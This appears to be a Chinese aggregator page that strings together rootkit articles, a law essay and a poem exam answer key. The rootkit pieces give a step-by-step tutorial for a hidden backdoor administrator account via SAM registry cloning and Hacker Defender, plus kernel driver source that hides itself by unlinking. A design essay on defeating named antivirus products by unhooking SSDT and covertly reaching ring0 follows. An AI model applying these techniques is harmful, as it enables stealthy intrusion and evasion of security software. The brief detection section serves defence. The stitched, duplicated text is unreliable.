当前位置：首页 > 范文大全 > 实用文>解析RootKit与反RootKit（图）

解析RootKit与反RootKit（图）

2022-07-04 08:18:07 收藏本文下载本文

“京京”通过精心收集，向本站投稿了6篇解析RootKit与反RootKit（图），以下是小编收集整理后的解析RootKit与反RootKit（图），欢迎阅读与借鉴。

篇1：解析RootKit与反RootKit（图）

Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包，该技术被越来越多地应用于一些恶意软件中，在基于Windows的系统中Rootkit更多地用于隐藏程序或进程，系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此，其隐蔽性极高，危害也极大。下面笔

Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包，该技术被越来越多地应用于一些恶意软件中。在基于Windows的系统中Rootkit更多地用于隐藏程序或进程，系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此，其隐蔽性极高，危害也极大。下面笔者结合实例解析RootKit及其反RooKit技术。

实验环境：Windows XP SP2

工具：

Hacker defende(RootKit工具)

RootKit Hook Analyzer(RootKit分析工具)

IceSword(冰刃)

一、RootKit

笔者以用RootKit进行管理员高级隐藏为例，解析RootKit技术。超级隐藏的管理员用户。

1、创建帐户

在命令提示符(cmd.exe)下输入如下命令：

net user gslw$ test168 /add

通过上面的两行命令建立了一个用户名为gslw$，密码为test168的普通用户。为了达到初步的隐藏我们在用户名的后面加了“$”号，这样在命令提示符下通过net user是看不到该用户的，当然在“本地用户和组”及其注册表的“SAM”项下还可以看到。(图1)

500)this.width=500“ title=”点击这里用新窗口浏览图片“ />

2、用户提权

下面我们通过注册表对gslw$用户进程提权，使其成为一个比较隐蔽(在命令行和“本地用户和组”中看不到)的管理员用户，

第一步：打开注册表编辑器，定位到HKEY_LOCAL_MACHINESAMSAM项。由于默认情况下管理员组对SAM项是没有操作权限的，因此我们要赋权。右键点击该键值选择“权限”，然后添加“administrators”组，赋予其“完全控制”权限，最后刷新注册表，就能够进入SAM项下的相关键值了。

第二步：定位到注册表HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers项，点击“000001F4”

注册表项，双击其右侧的“F”键值，复制其值，然后点击“00000404”注册表项(该项不一定相同)，双击其右侧的“F”键值，用刚才复制键值进行替换其值。(图2)

500)this.width=500” title=“点击这里用新窗口浏览图片” />

第三步：分别导出gslw$、00000404注册表项为1.reg和2.reg。在命令行下输入命令“net user gslw$ /del”删除gslw$用户，然后分别双击1.reg和2.reg导入注册表，最后取消administrators对SAM注册表项的访问权限。

这样就把gslw$用户提升为管理员，并且该用户非常隐蔽，除了注册表在命令下及“本地用户和组”是看不到的。这样的隐藏的超级管理员用户是入侵者经常使用的，对于一个水平不是很高的管理员这样的用户他是很难发现的。这样的用户他不属于任何组，但却有管理员权限，是可以进行登录的。

3、高级隐藏用户

综上所述，我们创建的gslw$用户虽然比较隐蔽，但是通过注册表可以看见。下面我们利用RootKit工具进行高级隐藏，即在注册表中隐藏该用户。

在Hacker defende工具包中也很多工具，我们隐藏注册表键值只需其中的两个文件，hxdef100.exe和

hxdef100.ini。其中hxdef100.ini是配置文件，hxdef100.exe是程序文件。打开hxdef100.ini文件定位到[Hidden RegKeys]项下，添加我们要隐藏的注册表键值gslw$和00000404即用户在注册表的项然后保存退出。(图3)

500)this.width=500“ title=”点击这里用新窗口浏览图片“ />

篇2：解析RootKit与反RootKitWEB安全

Rootkit是一个或者多个用于隐藏、控制一台计算机的工具包，该技术被越来越多地应用于一些恶意软件中，在基于Windows的系统中Rootkit更多地用于隐藏程序或进程，系统被注入Rootkit后就可以在不为用户察觉的情况下进行某些操作。因此，其隐蔽性极高，危害也极大。下面笔者结合实例解析RootKit及其反RooKit技术。

实验环境：Windows XP SP2

工具：

Hacker defende(RootKit工具)

RootKit Hook Analyzer(RootKit分析工具)

IceSword(冰刃)

一、RootKit

笔者以用RootKit进行管理员高级隐藏为例，解析RootKit技术。超级隐藏的管理员用户。

1、创建帐户

在命令提示符(cmd.exe)下输入如下命令：

net user gslw$ test168 /add

2、用户提权

下面我们通过注册表对gslw$用户进程提权，使其成为一个比较隐蔽(在命令行和“本地用户和组”中看不到)的管理员用户。

第二步：定位到注册表HKEY_LOCAL_MACHINESAMSAMDomainsAccountUsers项，点击“000001F4”

第三步：分别导出gslw$、00000404注册表项为1.reg和2.reg。在命令行下输入命令”net user gslw$ /del“删除gslw$用户，然后分别双击1.reg和2.reg导入注册表，最后取消administrators对SAM注册表项的访问权限。

这样就把gslw$用户提升为管理员，并且该用户非常隐蔽，除了注册表在命令下及“本地用户和组”是看不到的，

这样的隐藏的超级管理员用户是入侵者经常使用的，对于一个水平不是很高的管理员这样的用户他是很难发现的。这样的用户他不属于任何组，但却有管理员权限，是可以进行登录的。

3、高级隐藏用户

综上所述，我们创建的gslw$用户虽然比较隐蔽，但是通过注册表可以看见。下面我们利用RootKit工具进行高级隐藏，即在注册表中隐藏该用户。

在Hacker defende工具包中也很多工具，我们隐藏注册表键值只需其中的两个文件，hxdef100.exe和

然后双击运行hxdef100.exe，可以看到gslw$用户在注册表中的键值“消失”了，同时这两个文件也“不见”了。这样我们就利用RootKit实现了高级管理员用户的彻底隐藏，管理员是无从知晓在系统中存在一个管理员用户的。(图4)

二、反RootKit

那是否意味着我们就无能为力呢?俗话说“邪不胜正”，与RootKit就有反RootKit。我们就以该管理员为例进行演示。

1、RootKit Hook Analyzer驱动分析

RootKit Hook Analyzer是一款Rookit分析查询工具，利用它可以扫描分析出系统中存在的RooKit程序。该工具是英文程序，安装并运行点击其界面中下方的“Analyze”按钮就可以进行扫描分析，列出系统中的RooKit程序，勾选“Show hooked services only”就可以进行筛选值列出RooKit services。(图5)

2、IceSword进程查看

运行IceSword，点击“进程”按钮，就可以列出当前系统中的进程，其中红色显示的是可疑进程。我们可以看到hxdef100.exe进程赫然其中，这真是我们刚才运行的RootKit。在该进程上点击右键选择“结束”进程。这时hxdef100.exe和hxdef100.ini文件显身了，再刷新并查看注册表，刚才消失的两个键值有重现了。(图6)

3、专业工具查杀

利用IceSword进行RooKit的分析和并结束其进程不失为反RooKit的一种方法，但有的时候冰刃并不能分析出RootKit，因此我们就要比较专业的工具。比如卡巴斯基、超级巡警等都是不错的选择。(图7)

总结：本文以利用RootKit工具进行帐户的隐藏为例解析了其基本的运行机制，并结合上面的实例演示了反RootKit的方法。当然，RootKit的形式是非常多样的，但是其原理和防范措施都大同小异，希望这篇文章对大家防范RootKit有所帮助。

篇3：Rootkit隐形技术教程(图)

一、综述本文将引领读者打造一个初级的内核级Rootkit，然后为其引入两种简单的隐形技术：进程隐形技术和文件隐形技术，同时，为了让读者获得rootkit编程的相关经验，我们顺便介绍了rootkit的装载、卸载方法，以及必不可少的测试技术。本文介绍的Rootkit的主要

一、综述

本文将引领读者打造一个初级的内核级Rootkit，然后为其引入两种简单的隐形技术：进程隐形技术和文件隐形技术。同时，为了让读者获得rootkit编程的相关经验，我们顺便介绍了rootkit的装载、卸载方法，以及必不可少的测试技术。

本文介绍的Rootkit的主要构件是一个设备驱动程序，所以我们首先了解一下我们的第一个rootkit。

二、rootkit主体

本节引入一个简单的rootkit实例，它实际上只给出了rootkit的主体框架，换句话说，就是一个设备驱动程序。那么为什么要用设备驱动程序作为主体呢？很明显，因为在系统中，设备驱动程序和操作系统一样，都是程序中的特权阶级――它们运行于Ring0，有权访问系统中的所有代码和数据。还有一点需要说明的是，因为本例主要目的在于介绍rootkit是如何隐形的，所以并没有实现后门之类的具体功能，。

我们将以源代码的形式说明rootkit，对着重介绍一些重要的数据结构和函数。下面，先给出我们用到的第一个文件，它是一个头文件，名为Invisible.h，具体如下所示：

//Invisible.h：我们rootkit的头文件

#ifndef _INVISIBLE_H_

#define _INVISIBLE_H_

typedef BOOLEAN BOOL;

typedef unsigned long DWORD;

typedef DWORD* PDWORD;

typedef unsigned long ULONG;

typedef unsigned short WORD;

typedef unsigned char BYTE;

typedef struct _DRIVER_DATA

{

LIST_ENTRY listEntry;

DWORD unknown1;

DWORD unknown2;

DWORD unknown3;

DWORD unknown4;

DWORD unknown5;

DWORD unknown6;

DWORD unknown7;

UNICODE_STRING path;

UNICODE_STRING name;

} DRIVER_DATA;

#endif

我们知道，应用软件只要简单引用几个文件如stdio.h和windows.h，就能囊括大量的定义。但这种做法到了驱动程序这里就行不通了，原因大致有二条，一是驱动程序体积一般较为紧凑，二是驱动程序用途较为专一，用到的数据类型较少。因此，我们这里给出了一个头文件Invisible.h，其中定义了一些供我们的rootkit之用的数据类型。

这里定义的类型中，有一个数据类型要提一下：双字类型，它实际上是一个无符号长整型。此外，DRIVER_DATA是Windows 操作系统未公开的一个数据结构，其中含有分别指向设备驱动程序目录中上一个和下一个设备驱动程序的指针。而我们这里开发的rootkit恰好就是作为设备驱动程序来实现，所以，只要从设备驱动程序目录中将我们的rootkit（即驱动程序）所对应的目录项去掉，系统管理程序就看不到它了，从而实现了隐形。

上面介绍了rootkit的头文件，现在开始介绍rootkit的主体部分，它实际就是一个基本的设备驱动程序，具体代码如下面的Invisible.c所示：

// Invisible

#include ”ntddk.h“

#include ”Invisible.h“

#include ”fileManager.h“

#include ”configManager.h“

// 全局变量

ULONG majorVersion;

ULONG minorVersion;

//当进行free build时，将其注释掉，以防被检测到

VOID OnUnload( IN PDRIVER_OBJECT pDriverObject )

{

DbgPrint(”comint16: OnUnload called.“);

}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING

theRegistryPath )

{

DRIVER_DATA* driverData;

//取得操作系统的版本

PsGetVersion( &majorVersion, &minorVersion, NULL, NULL );

// Major = 4: Windows NT 4.0, Windows Me, Windows 98 或 Windows 95

// Major = 5: Windows Server , Windows XP 或 Windows

// Minor = 0: Windows 2000, Windows NT 4.0 或 Windows 95

// Minor = 1: Windows XP

// Minor = 2: Windows Server 2003

if ( majorVersion == 5 && minorVersion == 2 )

{

DbgPrint(”comint16: Running on Windows 2003“);

}

else if ( majorVersion == 5 && minorVersion == 1 )

{

DbgPrint(”comint16: Running on Windows XP“);

}

else if ( majorVersion == 5 && minorVersion == 0 )

{

DbgPrint(”comint16: Running on Windows 2000“);

}

else if ( majorVersion == 4 && minorVersion == 0 )

{

DbgPrint(”comint16: Running on Windows NT 4.0“);

}

else

{

DbgPrint(”comint16: Running on unknown system“);

}

// 隐藏该驱动程序

driverData = *((DRIVER_DATA**)((DWORD)pDriverObject 20));

if( driverData != NULL )

{

// 将本驱动程序的相应目录项从项驱动程序目录中拆下来

*((PDWORD)driverData->listEntry.Blink) = (DWORD)driverData->listEntry.Flink;

driverData->listEntry.Flink->Blink = driverData->listEntry.Blink;

}

// 允许卸载本驱动程序

pDriverObject->DriverUnload = OnUnload;

// 为本Rootkit的控制器配置连接

if( !NT_SUCCESS( Configure ) )

{

DbgPrint(”comint16: Could not configure remote connection.n");

return STATUS_UNSUCCESSFUL;

}

return STATUS_SUCCESS;

}

篇4：级反主动防御rootkit设计思路

作者：白远方 (ID: baiyuanfan, baiyuanfan@163.com, baiyuanfan@hotmail.com)

June 18,

关键字：rootkit，反主动防御，网络监控，ring0，mcafee8.5i，KIS6，ZoneAlarm Pro，实用级产品测试

反主动防御rootkit的产生背景及其必要性

反网络访问主动防御

反API钩子进程行为主动防御

反系统Notify进程行为主动防御

绕过监控进入ring0安装驱动

实用级反主动防御rootkit的通用性问题

反主动防御rootkit的产生背景及其必要性

当前随着新型木马，病毒，间谍软件对网络安全的威胁日益加重，传统的特征查杀型的安全产品和简单的封包过滤型防火墙已不能有效保护用户，因此各大安全公司纷纷推出自己的主动防御型安全产品，例如卡巴斯基kis6，mcafee8.5i，ZoneAlarm Pro等，这些产品应对未知的病毒木马都有很好的效果，若非针对性的作过设计的木马和rootkit，根本无法穿越其高级别防御，因此，反主动防御技术，作为矛和盾的另一方，自然被渗透者们提上日程；由于主动防御安全产品的迅速普及，为了不使后门木马被弹框报警，具有反主动防御能力的rootkit成为了一种必然选择。

反网络访问主动防御

几乎现在每个防火墙都具有应用程序访问网络限制功能。一个未知的程序反弹连接到外网，或者是在本地监听端口，基本上都会引起报警。而且对系统进程的行为也有了比较严格的审查，原先的注射代码到winlogon等系统进程，在向外反弹连接的方法，很多主动防御软件都会阻止了。

很多防火墙的应用程序访问网络限制，都可以通过摘除tcpip.sys上面的过滤驱动，并还原tcpip.sys的Dispatch Routines来绕过。据称这是因为在ndis层次取得进程id不方便而导致的。但是如果在一个实用级的rootkit里应用此方法则是不智之举，因为存在部分防火墙，如ZoneAlarm，其ndis过滤层必须和tdi过滤层协同工作，才会放行网络连接。至于ndis层次的中间层驱动的摘除，和 NDIS_OPEN_BLOCK的还原，则是一项不太可能完成的任务，因为无法从原始文件中读取的方法，获得NDIS_OPEN_BLOCK的原始值；即使能够成功恢复ndis钩子，也不能保证系统可以正常运行，很可能会出现各种不明症状。

到现在为止，绕过应用程序访问网络限制最好的选择，还是那两个：简单的一个，注射代码到一个ie进程，用它反弹连接出来，访问外网；复杂的选择则是应用内核驱动，如ndis hook/添加新的ndis protocol，来实现端口复用，或者使用tdi client driver反弹连接。已经有很多木马和rootkit使用前者，因其简单易行，在实际开发中工程量小，出现问题的可能性也少得多，产品成熟的时间代价也小。但是目前很多的主动防御已经注意到这一点，并且在程序行为监控中严密防范了其他程序对ie的感染行为。

如图，想要使用僵尸IE访问网络的木马被拦截

反API钩子进程行为主动防御

接下来是主动防御系统的很重要的一部分：进程行为监控。该部分主动防御软件一般通过两种解决方案来执行，一是API钩子，二是windows支持的notify routine。

大量的主动防御安全软件，如KIS6，ZoneAlarm Pro，使用API钩子来监控进程的危险行为。如注射远程线程，启动傀儡IE，加载驱动，注册服务，修改敏感系统注册表键值等。但是作为一个 rootkit，完全绕过这些操作，基本上是不可能的；于是摆放在面前的任务，就是如何击败这种主动防御。

对于特定种类的监控，总是有特定的方法可以绕过。比如注射远程线程，如果常用的CreateRemoteThread被监控了，可以尝试采用Debug API， SetThreadContext的方法绕过，也可以尝试采用hook其ntdll!ZwYieldExecution等频繁调用的函数来装载自己的 DLL模块。注册表监控，我的朋友xyzreg曾经写过系列文章，提出了很多种方法，包括RegSaveKey, Hive编辑等方法绕过卡巴斯基的注册表监控，其Hive编辑的方法目前仍未能有任何主动防御系统拦截。

但是从一个通用型，为实战设计的实用型rootkit来说，采用这些特定的技术并不是一个非常好的选择；因为这些技术可以保证对付一个主动防御软件，却不能保证通用，甚至通用性很差。而且针对每一个可能被主动防御拦截的行为，都采用一套特定的绕过技术，从工程代价上来讲，太过巨大，开发耗时，等其成熟更是不知道要多少时间来测试和更改。因此我们需要的一个相对涵盖范围广，能够解决绝大多数主动防御技术的解决方案。

针对API钩子实现的进程行为监控，一个较好的通用解决方案就是卸载所有安全软件所安装的API钩子。为兼容性和稳定起见，几乎所有的安全软件在安装API钩子时都会选择hook SSDT表，例如KIS6，ZoneAlarm Pro。我们如果能够进入ring0，就可以使用一个驱动程序，读取系统文件 ntoskrnl.exe/ntkrnlpa.exe/ntkrpamp.exe，从中提出我们所希望的SSDT表的原始函数地址，替换被安全软件 hook的地址，用此方法可以通用性很好的解决绝大多数的API钩子实现的进程行为监控。不过此方法有一个前提，就是事先必须绕过监控进入ring0。关于如何实现此前提，请阅读第五部分，“绕过监控进入ring0安装驱动”。

如图，ZoneAlarm Pro更改了大量的SSDT函数地址来监控程序行为。

反系统Notify进程行为主动防御

部分主动防御安全软件不仅仅是用API钩子，同时使用了微软提供的Notify Routine，来监视进程的行为。使用该技术的安全软件不是太多，但是也不至于少到一个实用级别rootkit可以忽略的程度。

以下几个微软DDK函数，PsSetCreateProcessNotifyRoutine， PsSetCreateThreadNotifyRoutine，PsSetLoadImageNotifyRoutine，被用作支持主动防御软件监控新进程的建立，新线程的建立，和一个新的模块被加载。处理该种类型的防御不能简单的清空NotifyRoutine就完事，因为系统本身，还有一些第三方正常模块和驱动，可能添加和使用该链表。

解决方案，一是可以先将使用了该技术的主动防御系统的驱动程序模块做一个列表出来，然后遍历这三条链表，找出地址指向这些驱动模块的项，再将这些项删除脱链，

但是这需要对大量主动防御系统的研究和测试，并且通用型也不好。第二种方法，由于 Notify Routine的监控力度要远弱于API钩子，因此在纯ring3将程序做一些小的改动，就可以越过这种类型的监控。

另外还有几个SDK函数，可以提供对文件和注册表的更改的notify。不能排除也有部分主动防御软件使用了它们。例如国产的超级巡警 (AST.exe)，使用了RegNotifyChangeKeyValue，做了对注册表敏感键值修改的事后警告提示。如果仅仅使用了API钩子清除技术，那么在此时就会被AST报警。和以上介绍的三个内核notify类似的也是，有不少正常的notify在被使用，不分青红皂白的全部卸载，会导致系统异常。

因此可见，Notify类监控虽然使用的不多，但是其对付的难度和需要的工程量，比API监控还要大。

如图，已经处理了API钩子监控的rootkit仍然被notify方式的AST报警。

绕过监控进入ring0安装驱动

这部分是重中之重。由于几乎每个主动防御系统都会监控未知驱动的加载和试图进入ring0的举动，而我们在第一，第二和第三部分绕过主动防御要做的处理，都必须需要ring0权限。因此监控进入ring0，是一个独立的话题，也是我们实现前三个部分需要的条件。

直接添加注册表项，ZwLoadDriver安装驱动，是几乎要被任何主动防御系统报警。必须要采用一些隐蔽的或者是为人不知的方法。总结目前已经公布出来的进入ring0的办法，

有以下几种：

感染文件，例如win32k.sys，添加自己的代码到里面，启动的时候就会被执行。这种方法的优点是简单易行，稳定度和兼容性很好。但是最大的缺点就是必须重新启动以后，才能进入ring0，这是一个产品级别的后门所不能容忍的。而且微软自己的系统文件保护容易绕过，mcafee和卡巴斯基的文件监控可就不是那么容易了。

利用物理内存对象，来写入自己的代码到内核，并添加调用门来执行。这个是最早被人提出的不用驱动进入 ring0的办法。因为出来的时间太长了，所以有以下一些问题：更新的操作系统内核不支持，如2003SP1；很多的主动防御系统会拦截，例如KIS6。所以这个办法也不理想。

利用ZwSystemDebugControl。这个代码在国外有人放出来过，利用它写内存，挂钩 NtVdmControl，进入ring0。此法缺陷在于老的windows2000不被支持，最新的windows2003sp1上也取消了这个函数的此能力。不过好处在于，这个方法用的人少，基本上没有主动防御会注意到它，并进行拦截。

利用 ZwSetSystemInformation的SystemLoadAndCallImage功能号加载一个模块进入ring0。这个方法提出来比较久了，但是因为用的人少，仍未被主动防御软件所重视。用得少的原因是，它不好用。它只能加载一个普通的模块到内核并且调用，却不是加载一个驱动，因此没有一个DriverObject。这导致了非常多的麻烦。因为要想使用这个办法，必须先用这个办法安装一个简单的内核模块，再用这个模块添加调用门等方式，执行代码清除主动防御的监视驱动安装的钩子，安装一个正常的驱动，才能最终完成任务。而且这个方法似乎对windows2003sp1以上的系统也无效。

因此，要想有一个相对完美的进入ring0解决方案，最好是寻找别人不知道或者使用很少的方法，或者将上面的有缺陷的方法做一个综合，用多种方法通过判断情况来选择使用。我在这里有一个新的思路提供给大家，微软新公布了一部分文档，关于HotPatch的使用。HotPatch可以在执行中修改系统中存在的用户态公用dll的内容，甚至是修改内核模块的内容。具体代码和细节，在这里我不能多说。

要想开发一个好的反主动防御 rootkit，绕过监控进入ring0是必不可少的，然而这部分也是使用不成熟技术最多的，最容易出现严重问题的部分。作为一个负责任的实用级产品，一定要对这个部分作做详细的测试，来保证自己的产品不会在某些特殊的环境，比如64位CPU运行32位系统，多核处理器，HyperThread处理器上面，出现故障或者蓝屏。

实用级反主动防御rootkit的通用性问题

前文已述，本文的宗旨在于讨论一种实用级别rootkit开发的可行性。因此，工程量的大小，需要投入的人力，时间和金钱，也是我们需要考虑的内容。必须要考虑更好的兼容性通用性，和工程上的开发代价和稳定成熟周期不能无限大。因此，对于部分新技术，例如BiosRootkit，VirtualMachine-Rootkit，本文不做讨论，因为那些都属于如果要想做稳定通用，工程代价非常大，以至于他们只拥有技术上面的讨论价值，而不具备作为一个产品开发的可选解决方案的可能性。至少是目前来看是如此。

每个主动防御软件的原理和构造都是不相同的，因此不可能指望有某一种方法，从工程上可以解决一个主动防御系统，就可以无需测试的，保证无误的解决其他系统。因为这个原因，开发一个成熟稳定的反主动防御rootkit，必然要在兼容各种主动防御的系统的通用性上面下大功夫。按照不同的主动防御系统，在程序里switch case，应该是非常必要的，尽管绝大多数反主动防御代码原理上可以通用。基本上，在测试程序通用型的时候，常用的主动防御软件，是每种都要安装一个并且仔细测试的。

以下举例说明，几个常用主动防御系统各自需要注意的特点，这都是笔者在实际开发中遇到的比较典型的例子。

Mcafee8.5，该主动防御软件在最大化功能时会禁止在系统目录下创建可执行文件，光这一点就会让几乎全部rootkit安装失败，若非针对它做了设计。在这个系统下面，也不可能使用感染文件的方法来进入ring0。

KIS6，该系统会自动列举运行的隐藏进程，并且弹框警告。因此在这系统下，不太可能把自己的进程隐藏。而且它列举隐藏进程的手段很底层，很难绕过。

ZoneAlarm Pro，该系统下，如果一个其它的进程启动IE并且访问网络，安全报警仍然会以该进程本身访问网络为准执行，另外还会弹框警告，除非将自己的僵尸IE进程的父进程更改，或者不用IE来反弹连接。

国产的瑞星，总体来说这个系统的主动防御弱于国外产品，但是它特殊在于，会对IE作出非常严格的限制，默认不允许IE装载任何非系统的dll。因此在这个系统下基本不可能利用IE反弹。

其他的特殊情况还有很多。作为一个成熟产品开发者，这些都是必须要考虑的。

感谢：VXK（郭宏硕）， xyzreg（张翼）。

附录：提供几个录像，对本文的内容做一个展示录像，Rootkit穿越各种流行的主动防御系统。

篇5：消解法治--葛洪义《法律与理性》反法治化思维解析

消解法治--葛洪义《法律与理性》反法治化思维解析

关于葛洪义教授《法律与理性》一书中消解法治论的表述，不妨从20世纪后我国法学研究情况开始：70年代末80年代初，法学界最激动人心的口号之一就是“要法治，不要人治”。许多被人们所尊敬的法学界人士因为其勇于冲破禁区，大力倡导法治而成为时代的楷模。正是在这种风尚的引领下，法治不仅在随后的时日中名正言顺地建立起其治国方略的历史地位，更以其秩序及价值理念统帅法学思想，成为法律领域的绝对权威之一。然而，自90年代中后期，世界性的反现代的思潮陆续传入中国，构成一定范围知识上的垄断话语，并与传统非法律意识“内外勾结”，促使怀疑法治消解法治思维兴风作浪，逆流而动。这些反法治化思维的“动作”并不是一个简单的问题，以后现代的思潮为首的法治解构以及反法治化民族情结理应得到充分的探究，以保证法治的权威地位。

一、法的现代性、理性与法治

今天，在我们的日常生活中，法律已经以不可阻挡之势参透到各个方面和领域，人们不仅用法律确认、维护、巩固原有的社会秩序，而且还试图用法律创造一个崭新的社会。这正是法的现代化的一个直接结果。“现代化是基于科学技术革命，整个社会从物质到精神、从制度到观念的总体变迁，是特定社会的现代性因素不断增加的过程……法的现代化是指与现代化的需要相适应的、法的现代性因素不断增加的过程。”（葛洪义）法的现代性因素，也就是现代法律的`特征，主要有：1、公开性。法律的内容、法律制定与实施的过程向社会公开；2、自治性。法律是一套独立的并由专门的机构运用专业知识加以适用的规则体系，法律活动成为一个独立的专业领域；3、普遍性。法律调整的是一般人的行为，其价值内涵是法律面前人人平等；4、层次性或称道德性。法律必须符合一定社会特定历史时期普遍的价值准则，并与人类社会最低限度的道德观念保持一致；5、确定性。法的内容，至少它的中心含义应该尽可能明确、无歧义；6、可诉性。法律具有被任何人在法律规定的机构中通过争议解决程序加以运用维护自身权利的可能性；7、合理性。现代社会的法律机制必须成为由法律职业者操作的、符合一定理性原则的秩序机制，具有高度的专业性和技术性，从而能够增加个人行动的可计算性；8、权威性。现代社会的法律就外在强制的效力而言在社会生活规范体系中应该具有最高核心的地位，具有不可忽视、不可冒犯的最高权威。“上述八个法的现代性因素，概括起来说，就是理性化，或者说，法的现代性就是指法的理性化……一般认为法治化是现代的重要特征之一，那么，实际上也可以肯定，法的现代性就是法治的属性。”（葛洪义）

理性一词现在已为人们耳熟能详，它在世界范围的流行则源于启蒙时代。狭义的启蒙通常是指从17世纪洛克开始，在18世纪的法国进入高潮，到19世纪的康德黑格尔达到顶峰的“启蒙运动”。启蒙运动的核心是弘扬理性，提倡科学，反对宗教，倡导确立世俗的人的崇高地位。启蒙运动的思想基础就是理性主义，而理性也成为现代的核心概念。关于理性，必须提近代哲学的始祖笛卡尔。笛卡尔并不是真正意义上的法律思想家，但他从“笛卡尔式怀疑”出发，在寻找作为哲学研究推理前提的公理的过程中，确立了人的理性思维至高无上的地位。他提出：绝对确实可靠的公理、原则在传统的经院哲学中找不到，从前辈流传下来的见解中找不到，感觉到的东西也不能提供公理，甚至数学证明也可以怀疑，因为许多人在数学问题上陷入错误。所以对于我们来说，无可怀疑的、确实的东西就是我怀疑或者我思维，怀疑的存在意味着怀疑者的存在，思维意味着存在一个思维着的东西，由此，他得出一个著名的结论：“我思，故我在”，确定了人的理性思维的至高性。我们知道，法治作为一种实践，是西方近代社会经济政治革命的产物；作为一种信仰，是西方知识论文化背景的产物；作为一种理论，则主要是理性主义的结晶，因此，法治正是法律意

[1] [2] [3]

篇6：高蟾《金陵晚望》韦庄《金陵图》阅读答案与解析

高蟾《金陵晚望》韦庄《金陵图》阅读答案与解析

金陵晚望

高蟾

曾伴浮云归晚翠，犹陪落日泛秋声。

世间无限丹青手，一片伤心画不成。

金陵图

韦庄

谁谓伤心画不成？画人心逐世人情。

君看六幅南朝事，老木寒云满古城。

【注】高蟾、韦庄，均为晚唐诗人。

14.下列对这首诗的理解和分析，不正确的一项是

A.《金陵晚望》描写秋天的傍晚，诗人登上金陵城头远望，只见浮云落日映照着这座古城，一种沧桑之感涌上心头。

B.《金陵晚望》采用拟人、反衬的表现手法，生动形象地r写出金陵古城的景象并抒发唐朝因衰败而伤心之情。

C.《金陵图》在否定了“伤心画不成”的说法后，举出一个例证“六朝金陵图”，画面上古木枯凋，寒云笼罩，一片凄清荒凉。

D.两首诗都是怀古咏史诗，不仅创作背景相同，而且取材也相同；从创作时间上看，高诗应早于韦诗。

15.这两首诗抒发了相同的思想感情，可高诗说“一片伤心画不成”，韦诗却说“谁谓伤心画不成？”，各有何道理？请结合诗句分析。

答

14.B

15.高诗着眼于景，虽有“浮云”“落日”，然而，“一片伤心”是心中的痛，心中的情，是抽象的情感，纵有丹青妙手，也难以描绘，所以说“画不成”。韦诗立足于“老木”“寒云”，用“老木”“寒云”来象征颓靡的时代，表现了深沉的历史感慨和现实忧思，见“老木”“寒云”如见那颗枯萎的心，所以说能画成。

析

【14题详解】

本题属于综合考查题，考查学生对诗句的理解能力，同时考查对诗句内容、技巧以及情感的把握能力，采用了客观选择题的形式，各选项内容涉及了对诗歌的'手法、形象、主题的鉴赏。解答此类题目，首先要审题，即明确题干的要求，如本题的题干要求选出“对这首诗的理解和分析，不正确的一项”，然后要注意了解诗歌的创作背景，逐句翻译诗句，再对照选项一一确认，得出答案。

B项，“反衬”错误，所谓“反衬”指利用与主要形象相反、相异的次要形象，从反面衬托主要形象，要求主要事物（本体）与陪衬事物（衬体）有相反的特点或不同的情况；从诗中所写的景象来看，“曾伴浮云归晚翠，犹陪落日泛秋声”，浮云归于暮山，将是白日的结束，落日悬浮于秋声，亦是一年的残景，这里凄凉的日之暮、岁之暮的景象属于哀景，最后两句流露的情感是“伤心”，属于哀景哀情，这是正衬，也可以说是寓情于景。

故选B。

【15题详解】

本题考查学生鉴赏文学作品的语言，评价文学作品的思想内容和作者的观点态度的能力。解答这类题目，首先明确题干的要求，如本题“这两首诗抒发了相同的思想感情，可高诗说‘一片伤心画不成’，韦诗却说‘谁谓伤心画不成？’，各有何道理？”，然后分析这两首诗歌共同的情感是什么，再结合具体的诗句分析“画不成”和“画得成”的原因。结合两首诗歌中所写景物的特点和诗中直接表达情感的“伤心”二字可知，这两首诗歌抒发的都是哀情，都是伤心之情。再看《金陵晚望》，诗歌前两句主要是写景，在浮云、晚翠等自然景象的描绘中展示故都盛衰无常，后两句流露情感，金陵曾是南朝六代建都之地，曾经佳丽所萃，而今唯有废墟残景，自然、历史和社会的种种悲慨涌上心头，拂逆不去，浓得化不开，只有眼前景象才能诉说和接纳心中无限事了，但人与自然只能是心有灵犀的默契，不能表情达意的对话，望中晚景可诉诸画笔，人尽可识，而自己久久郁积于心的伤感何由表现，无论延请多少画师，都无法描绘出诗人难以排遣的伤心，所以诗人说“画不成”。再看《金陵图》，诗人先说“谁谓伤心画不成”，然后以“老木寒云满古城”来展现这令人伤心的画面，画面绘出许多老木寒云，绘出危城破堞，使人看到三百年后的金陵，并非什么郁郁葱葱的帝王之州，倒是使人产生伤感的古城，诗句中的“老木”和“寒云”也就具有了象征的意义，应是象征颓靡的时代，由此可见，这“伤心”完全可以画成，所以诗人说“谁谓伤心画不成”。

【解析RootKit与反RootKit（图）】相关文章：